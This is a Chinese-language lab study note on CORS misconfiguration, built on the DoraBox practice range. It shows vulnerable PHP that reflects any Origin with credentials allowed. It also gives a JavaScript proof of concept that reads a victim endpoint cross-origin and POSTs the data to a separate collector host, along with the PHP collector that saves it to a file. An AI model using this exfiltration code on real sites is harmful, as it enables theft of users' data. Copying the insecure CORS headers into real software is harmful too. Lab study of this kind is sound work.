Cors漏洞及利用


Cors运行机制:

  在浏览器进行请求时,自动在请求头中添加Origin字段,

  服务端通过验证Origin字段来判断请求是否被允许,从而实现浏览器进行跨源访问

Cors漏洞:

  浏览器自动在 Http 请求头加上Origin字段,服务器通过判断Origin字段的值来判断

  请求是否可以读取本站资源。

  

 1 <?php
 2     if (@$_SERVER['HTTP_ORIGIN']){
 3         header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
 4     }else{
 5         header("Access-Control-Allow-Origin: *");
 6     }
 7     header("Access-Control-Allow-Headers: X-Requested-With");
 8     header("Access-Control-Allow-Credentials: true");
 9     header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
10 
11     $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
12     echo json_encode($info);
13 ?>

  1、当请求这个页面时,程序首先判断是否有Origin字段,

  2、如果有,设置Access-Control-Allow-Origin为请求时的origin的值

     如果没有则设置其值为" * ",表示任意域名。

  3、判断完成后在返回包的头部加上另外三个字段,分别表示为允许自定义加入的头字段

     是否需要带Cookie进行请求,允许使用的请求方式。

  4、然后返回json信息

  

  很明显,这里的Access-Control-Allow-Origin配置有问题,这样配置无异于是允许

  所有来自其他域的请求来访问本站资源。

  构造POC

  

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cors</title>
</head>
<body>
<script>
    function cors() {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if(xhr.readyState == 4){
                alert(xhr.responseText);
            }
        }
        // xhr.withCredentials = true;
        xhr.open("GET",'http://192.168.160.1/DoraBox-master/csrf/userinfo.php');
        xhr.send();
    }
    cors();
</script>
</body>
</html>

 

 

 

 

  当网站用户点击含有恶意代码的url时,便会通过ajax的方式,

  请求存在Cors漏洞的网站,由于其允许其他域进行请求

 

  

  刚才判断是否有Origin可以去掉,直接替换成else{}里面的内容

  在次恶意链接,还是会弹框输出信息

  

 1 <?php
 2 //    if (@$_SERVER['HTTP_ORIGIN']){
 3 //        header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);
 4 //    }else{
 5 //        header("Access-Control-Allow-Origin: *");
 6 //    }
 7     header("Access-Control-Allow-Origin: *");
 8     header("Access-Control-Allow-Headers: X-Requested-With");
 9     header("Access-Control-Allow-Credentials: true");
10     header("Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS");
11 
12     $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
13     echo json_encode($info);
14 ?>

  

  但是如果我们把" * "替换为确定允许访问的域名,baidu.com

    header("Access-Control-Allow-Origin: baidu.com"); 

  

  当 "Access-Control-Allow-Credentials: true" ,并且 "Access-Control-Allow-Origin: baidu.com" 时

  我们也不是不能跨域访问的

  刚才可以访问是因为恶意链接中 // xhr.withCredentials = true; 被注释掉了,

  这个设置为true时,浏览器才会发送cookie,否则只有服务器单方面设置接收Cookie是没有用的

  

  我们可以看到控制台中的报错信息,谷歌翻译

  

  此时 Access-Control-Allow-Origin: 不能设置为" * ",需要确切指出允许的域名。

  

  用户点击构造好的url时,将数据传递到本地

  Cors.html

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>Cors</title>
 6 </head>
 7 <body>
 8 <script>
 9     function cors() {
10         var xhr = new XMLHttpRequest();
11         var xhr1 = new XMLHttpRequest();
12         xhr.onreadystatechange = function () {
13             if(xhr.readyState == 4){
14                 alert(xhr.responseText)
15                 var data = xhr.responseText;
16                 xhr1.open("POST","http://192.168.160.1:8080/CSRF/result.php",true);
17                 alert(1);
18                 xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
19                 alert(data);
20                 xhr1.send("T1="+escape(data));
21                 // body = document.getElementsByTagName('body')
22                 // body[0].innerHTML = xhr.responseText;
23             }
24         }
25         //xhr.withCredentials = true;
26         xhr.open("GET",'http://192.168.160.1/DoraBox-master/csrf/userinfo.php');
27         xhr.send();
28     }
29     cors();
30 </script>
31 </body>
32 </html>
View Code

  需要在本地写上一个result.php

  result.php

  

1 <?php
2 $data = $_POST['T1'];
3 echo $data;
4 $myfile = fopen("data.html","w");
5 fwrite($myfile,$data);
6 fclose($myfile);
View Code

  用户点击之后本地就会生成一个data.html,并且将数据写入在里面

  

  图片中使用的是DORABOX靶场

  学习笔记,如有错误请师傅们指出

  参考链接:https://www.freebuf.com/column/194652.html

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM